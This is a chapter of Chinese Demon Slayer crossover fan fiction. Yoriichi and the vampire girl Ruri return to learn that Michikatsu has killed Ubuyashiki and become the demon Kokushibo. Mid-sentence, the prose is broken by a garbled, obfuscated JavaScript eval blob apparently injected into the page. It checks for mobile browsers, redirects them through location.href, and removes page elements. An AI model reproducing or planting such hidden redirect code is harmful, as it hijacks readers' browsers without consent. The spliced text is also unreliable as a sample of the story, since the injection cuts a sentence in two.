“无惨,在上次的庙会上,来找过你吧。”继国缘一冷不丁这样问了一句。 他的声音平静,琉璃的冷汗却一下子流了下来,“……这……” “那个男人的身体结构很特殊,有五个大脑和七个心脏,在庙会的时候,我看到他和你说过话。”继国缘一问:“为什么那个时候要说谎?” 琉璃张了张嘴巴,半晌,干巴巴地回答道:“我怕严胜知道了会多想,对不起,我不该瞒着你们。当时他确实已经在邀请我去他身边了,但是缘一,在我的心里你才是我的伙伴,我们一起生活了这么久,我不会和他走的。” 继国缘一:“我没有在生气。” 琉璃都开始结巴了:“真、真的吗?你没有、没有生气?” “因为你已经用行动告诉我了,你没有和无惨一起。”继国缘一伸手轻轻拍了拍琉璃的头顶:“我相信你。” 琉璃听到这句话,胸口莫名发痒,她深深地看着继国缘一,心绪平稳下来,她深深吸了一口气,握住缘一的手,轻声说:“缘一,你对我很好。” 继国缘一没有说话,他似乎察觉到有名为“感动”的情绪在面前的少女眼中蔓延,安静了一会儿后,又说:“不然,我会直接砍断你的。” 琉璃:“……” 哦,差点忘了,这个人有远超于常人的力量,先不说她没有背叛缘一和产屋敷,就算她真的投奔无惨了,他也有本事把她像剁无惨一样剁成一千多片。 没有感动了,现在只剩下庆幸。 继国缘一:“继续走吧,我们还有任务在身。” 琉璃内心流泪:“嗯。” 这次的插曲似乎没有引起什么波澜,缘一只是把遇见无惨这件事情用书信向产屋敷汇报了几句,只是产屋敷迟迟没有回信。 京都的那只鬼有点难找,察觉到有剑士到来,它一连好几天都没有现身,直到它实在是饿的受不了了,在冒头的第一时间就被琉璃闻见味道,没跑多远,被速度极快的继国缘一追上,最后斩下了头颅。 这次任务 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17298818|198552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是很平淡就完成了。 而唯一不平淡的是,产屋敷那边一直没有书信传来,也没有任务传达下来,只有来自炼狱的信件,说有要是,让他们快些回去。 从京都返程很快就能到,更何况这次还是炼狱传信,继国缘一不敢耽搁,在第二日的傍晚时分赶回了府邸,却没曾想等待着他的,却是产屋敷的死讯。 是谁在鬼杀队的府邸,杀死了鬼杀队的首领? 炼狱说,是继国岩胜。 “……继国岩胜?” 缘一还没有什么反应,琉璃却先一步不敢置信地瞪圆了眼睛:“他为什么会出手?他不是柱吗?不是剑士吗?为什么要产屋敷死?” 炼狱沉默了一瞬,沉声和琉璃说:“恐怕,那已经不是月柱了。” 什么意思? 什么叫不是月柱了? 怎么会不是月柱了? 那是继国岩胜啊,拒绝了她好几次的继国岩胜,怎么会脱离鬼杀队,不是月柱了呢? 琉璃的脑袋在这一瞬间像是被一并铁锤砸中,有点发晕,还有点隐隐作痛。 在她的认知里,继国岩胜是不能做出这种事的,他明明说过,他会站在人类这边,一直与鬼抗衡。 她苦口婆心劝了好几次继国岩胜变成血族,拥有更纯粹的血液,进化成贵族血族,他还是很坚定的拒绝了。 ……所以呢? 他用产屋敷的性命做了什么? 脱离鬼杀队之后,杀了产屋敷之后,他去了哪里? 琉璃不敢想,而且比起这些结果,她更想知道为什么。 为什么?为什么他会选择鬼舞辻无惨? 为什么?为什么?为什么为什么为什么?为什么是鬼舞辻无惨,而不是音羽山琉璃? 炼狱伸手拍了拍琉璃的肩膀,说:“你和缘一一路劳累回来,先去休息吧。” 继国缘一什么都没有说,他甚至没有表露出什么情绪,转身走掉了,只剩下琉璃一个人留在柱们平常谈话的地方。 炼狱见缘一离开,犹豫片刻,还是和琉璃说了一些事情。 此次前来夺走主公性命的,是已经投奔了无惨的继国岩胜,他已经不再是人类,而是叫做“黑死牟”的鬼。 如果下次见到黑死牟,不可掉以轻心,也不能念旧情,他已经背叛了人类,不再是她熟悉的那个人。 缘一途中遇见无惨的事情,队里柱们已经知晓了,同时,他们也知道了缘一没能杀死无惨,并且还放走了一名女鬼,这几件事情加在一起,大家对缘一颇有怨言,炼狱想让琉璃早做打算。 “我知道你的本性并不坏,虽为异族,但一直没有伤害过人类,还帮了我们很多。”炼狱对琉璃说:“岩胜是缘一的兄长,说多了怕伤缘一的心,此时他可能也无法做出理智的判断,琉璃,你要好好陪在他身边,你们……只有彼此了。” 琉璃:“……” 其实炼狱说的这些话,她都隐约能听出潜台词,拐着弯说话的老怪物她见得多了,只是她不知道,向来说话直来直去的炼狱,都能说出这么隐晦的提醒。 缘一想不想留在鬼杀队琉璃不知道,现在怕是鬼杀队不想让缘一留下来,也不想让琉璃留下来。 炼狱要她陪在缘一身边,是也听到了很多的声音,他们都想清异族。 也是,身为柱的人类都背叛了,她一个异族,有什么资格要求他们信任自己呢。 只是可惜了,之前说好的庙会,还以为真的能一起去呢。